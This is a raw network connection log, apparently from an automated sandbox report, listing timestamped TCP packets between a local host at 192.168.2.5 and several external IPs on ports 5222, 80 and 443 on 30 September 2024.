Sep 30, 2024 12:20:53.560291052 CEST	49899	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.562153101 CEST	5222	49889	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:53.562433004 CEST	5222	49889	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:53.562975883 CEST	49889	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.589699030 CEST	49905	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.589749098 CEST	443	49905	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.589832067 CEST	49905	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.591613054 CEST	49905	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.591629028 CEST	443	49905	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.603465080 CEST	443	49898	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.603537083 CEST	49898	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.603560925 CEST	49898	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.608580112 CEST	49906	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:53.610704899 CEST	49907	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:53.613399029 CEST	5222	49906	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:53.613466978 CEST	49906	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:53.613677025 CEST	49906	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:53.615510941 CEST	80	49907	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:53.615575075 CEST	49907	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:53.615766048 CEST	49907	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:53.618551016 CEST	5222	49906	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:53.620539904 CEST	80	49907	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:53.620580912 CEST	49907	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:53.625322104 CEST	80	49907	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:53.640837908 CEST	443	49900	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.640892982 CEST	49900	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.640908003 CEST	49900	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.646562099 CEST	49906	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:53.646657944 CEST	49907	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:53.647084951 CEST	49905	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.650273085 CEST	49908	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.652520895 CEST	49909	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.652568102 CEST	443	49909	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.653000116 CEST	49909	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.654119015 CEST	49910	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.654292107 CEST	49909	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.654318094 CEST	443	49909	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.655231953 CEST	5222	49908	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.655308962 CEST	49908	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.655553102 CEST	49908	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.659677982 CEST	80	49910	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.659738064 CEST	49910	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.659928083 CEST	49910	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.660811901 CEST	5222	49908	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.664661884 CEST	80	49910	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.664709091 CEST	49910	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.670950890 CEST	80	49910	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.677875042 CEST	5222	49902	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.677948952 CEST	49902	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.683231115 CEST	49911	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.683273077 CEST	443	49911	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.683342934 CEST	49911	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.684710979 CEST	49911	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.684725046 CEST	443	49911	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.687413931 CEST	443	49905	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.692733049 CEST	80	49907	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:53.692747116 CEST	5222	49906	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:53.725883961 CEST	80	49870	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:53.725956917 CEST	49870	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.747945070 CEST	443	49903	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.748018980 CEST	49903	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.748061895 CEST	49903	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.758769035 CEST	49908	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.759306908 CEST	49909	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.760320902 CEST	49910	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.772566080 CEST	49912	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.775414944 CEST	49913	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.775450945 CEST	443	49913	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.775527000 CEST	49913	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.776984930 CEST	49913	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.776993990 CEST	443	49913	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.778134108 CEST	49914	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.778522015 CEST	49911	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.786777973 CEST	5222	49912	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.786839008 CEST	49912	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.787121058 CEST	49912	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.789009094 CEST	80	49914	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.789067984 CEST	49914	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.789252043 CEST	49914	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.797130108 CEST	5222	49912	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.802160978 CEST	80	49914	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.802220106 CEST	49914	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.803420067 CEST	443	49909	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.812248945 CEST	80	49914	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.816776037 CEST	80	49910	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.816791058 CEST	5222	49908	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.823409081 CEST	443	49911	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.867556095 CEST	49912	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.867691994 CEST	49914	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.868437052 CEST	49913	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.871170044 CEST	49915	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.871211052 CEST	443	49915	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.871299028 CEST	49915	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.871608019 CEST	49916	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.872564077 CEST	49915	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.872591019 CEST	443	49915	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.874140024 CEST	49917	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.883650064 CEST	5222	49916	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.883760929 CEST	49916	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.884046078 CEST	49916	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.886648893 CEST	80	49917	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.886725903 CEST	49917	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.886888027 CEST	49917	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.893434048 CEST	5222	49916	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.897491932 CEST	80	49917	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.897572041 CEST	49917	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.900984049 CEST	49918	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.901038885 CEST	443	49918	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.901098967 CEST	49918	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.902093887 CEST	49918	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.902121067 CEST	443	49918	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.906769037 CEST	80	49917	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.911406040 CEST	443	49913	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.920732975 CEST	5222	49912	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.924838066 CEST	80	49914	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.977349043 CEST	49916	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.977530956 CEST	49917	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.977803946 CEST	49915	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.980180025 CEST	49919	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.981076002 CEST	49920	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.981106043 CEST	443	49920	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.981659889 CEST	49920	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.982381105 CEST	49921	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.982686996 CEST	49920	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.982696056 CEST	443	49920	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.989455938 CEST	5222	49919	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:53.989543915 CEST	49919	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.989780903 CEST	49919	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.993470907 CEST	80	49921	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:53.994992971 CEST	49921	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.995213985 CEST	49921	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.999340057 CEST	5222	49919	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.006520987 CEST	80	49921	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.006984949 CEST	49921	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.007363081 CEST	5222	49906	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.007442951 CEST	49906	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.008389950 CEST	49918	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.009567976 CEST	80	49878	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.009834051 CEST	49878	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.015440941 CEST	80	49921	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.023401976 CEST	443	49915	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.027770996 CEST	5222	49908	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.030992985 CEST	49908	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.032737970 CEST	5222	49916	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.036837101 CEST	80	49917	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.048542023 CEST	443	49905	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.048633099 CEST	49905	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.048650026 CEST	49905	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.055398941 CEST	443	49918	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.083585024 CEST	80	49881	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.086997986 CEST	49881	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.087625027 CEST	49919	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.087755919 CEST	49921	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.087928057 CEST	49920	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.090267897 CEST	49922	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.091247082 CEST	49923	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.091273069 CEST	443	49923	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.091351032 CEST	49923	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.092292070 CEST	49924	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.097608089 CEST	5222	49922	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.098839998 CEST	80	49924	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.098911047 CEST	49922	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.098929882 CEST	49924	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.099263906 CEST	49924	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.099579096 CEST	49922	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.100322962 CEST	49923	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.100337029 CEST	443	49923	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.105844021 CEST	80	49924	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.106997967 CEST	49924	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.107158899 CEST	5222	49922	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.113765001 CEST	80	49924	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.129547119 CEST	443	49909	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.129643917 CEST	49909	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.129682064 CEST	49909	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.135421038 CEST	443	49920	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.136733055 CEST	80	49921	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.136765957 CEST	5222	49919	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.138816118 CEST	49925	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.138864994 CEST	443	49925	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.143002033 CEST	49925	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.144176006 CEST	49925	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.144191980 CEST	443	49925	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.157032967 CEST	443	49911	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.157116890 CEST	49911	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.157116890 CEST	49911	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.191451073 CEST	5222	49912	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.191526890 CEST	49912	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.198532104 CEST	49922	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.198647976 CEST	49924	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.199213982 CEST	49923	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.201448917 CEST	49926	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.202640057 CEST	49927	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.202725887 CEST	443	49927	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.202812910 CEST	49927	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.203671932 CEST	49928	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.203814030 CEST	49927	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.203860998 CEST	443	49927	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.211026907 CEST	5222	49926	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.211045027 CEST	80	49928	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.211132050 CEST	49926	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.211329937 CEST	49928	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.211329937 CEST	49928	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.211468935 CEST	49926	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.218184948 CEST	80	49928	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.218198061 CEST	5222	49926	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.218255043 CEST	49928	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.225058079 CEST	80	49928	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.230473042 CEST	49925	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.240183115 CEST	80	49885	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.243014097 CEST	49885	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.243438959 CEST	443	49923	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.252980947 CEST	80	49924	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.253014088 CEST	5222	49922	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.259195089 CEST	5222	49916	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.260436058 CEST	49916	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.265105009 CEST	443	49913	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.265166998 CEST	49913	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.265178919 CEST	49913	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.272356033 CEST	80	49888	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.274987936 CEST	49888	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.275399923 CEST	443	49925	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.295268059 CEST	49926	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.295439005 CEST	49927	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.296148062 CEST	49928	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.299787998 CEST	49929	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.301340103 CEST	49930	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.301399946 CEST	443	49930	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.302791119 CEST	49930	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.304753065 CEST	5222	49929	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.305665970 CEST	49929	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.306365967 CEST	49930	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.306413889 CEST	443	49930	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.306557894 CEST	49929	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.307591915 CEST	49931	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.311635971 CEST	5222	49929	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.313327074 CEST	80	49931	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.313396931 CEST	49931	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.313591957 CEST	49931	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.318481922 CEST	80	49931	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.318541050 CEST	49931	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.323405981 CEST	80	49931	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.339422941 CEST	443	49927	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.346530914 CEST	80	49928	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.346546888 CEST	5222	49926	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.349400043 CEST	49932	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.349438906 CEST	443	49932	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.349502087 CEST	49932	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.349817038 CEST	80	49890	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.349868059 CEST	49890	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.350663900 CEST	49932	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.350687981 CEST	443	49932	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.362827063 CEST	443	49915	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.362904072 CEST	49915	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.362905025 CEST	49915	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.368155003 CEST	5222	49919	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.370964050 CEST	49919	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.385687113 CEST	443	49918	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.385775089 CEST	49918	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.385795116 CEST	49918	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.396369934 CEST	80	49894	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.396442890 CEST	49894	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.407113075 CEST	49929	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.407268047 CEST	49931	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.407597065 CEST	49930	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.410397053 CEST	49933	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.412552118 CEST	49934	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.412774086 CEST	49935	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.412839890 CEST	443	49935	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.412966967 CEST	49935	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.415363073 CEST	5222	49933	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.415626049 CEST	49933	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.415966988 CEST	49933	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.417330980 CEST	49935	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.417382956 CEST	443	49935	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.417916059 CEST	80	49934	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.418001890 CEST	49934	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.418261051 CEST	49934	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.420898914 CEST	5222	49933	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.423106909 CEST	80	49934	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.423177004 CEST	49934	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.427966118 CEST	80	49934	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.452789068 CEST	80	49931	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.452802896 CEST	5222	49929	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.455404997 CEST	443	49930	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.471923113 CEST	49932	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.478635073 CEST	443	49920	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.478774071 CEST	443	49920	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.478805065 CEST	49920	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.478805065 CEST	49920	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.478833914 CEST	49920	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.498586893 CEST	5222	49922	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.498647928 CEST	49922	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.510201931 CEST	80	49896	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.511018991 CEST	49896	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.519402981 CEST	443	49932	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.519980907 CEST	49933	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.520226955 CEST	49935	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.521106005 CEST	49934	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.524240971 CEST	49936	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.525664091 CEST	49937	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.525715113 CEST	443	49937	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.525784969 CEST	49937	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.526796103 CEST	49938	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.527049065 CEST	49937	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.527071953 CEST	443	49937	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.529102087 CEST	5222	49936	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.530131102 CEST	49936	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.530414104 CEST	49936	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.531598091 CEST	80	49938	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.531678915 CEST	49938	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.531889915 CEST	49938	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.535247087 CEST	5222	49936	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.536706924 CEST	80	49938	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.536788940 CEST	49938	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.541650057 CEST	80	49938	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.557780027 CEST	49939	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.559330940 CEST	49940	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.562633038 CEST	5222	49939	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.562725067 CEST	49939	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.562931061 CEST	49939	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.564204931 CEST	80	49940	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.564331055 CEST	49940	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.564511061 CEST	49940	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.567404032 CEST	443	49935	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.567835093 CEST	5222	49939	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.568727970 CEST	80	49934	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.568742037 CEST	5222	49933	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.569426060 CEST	80	49940	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.569484949 CEST	49940	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.574249029 CEST	80	49940	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.575181961 CEST	443	49923	172.65.251.78	192.168.2.5
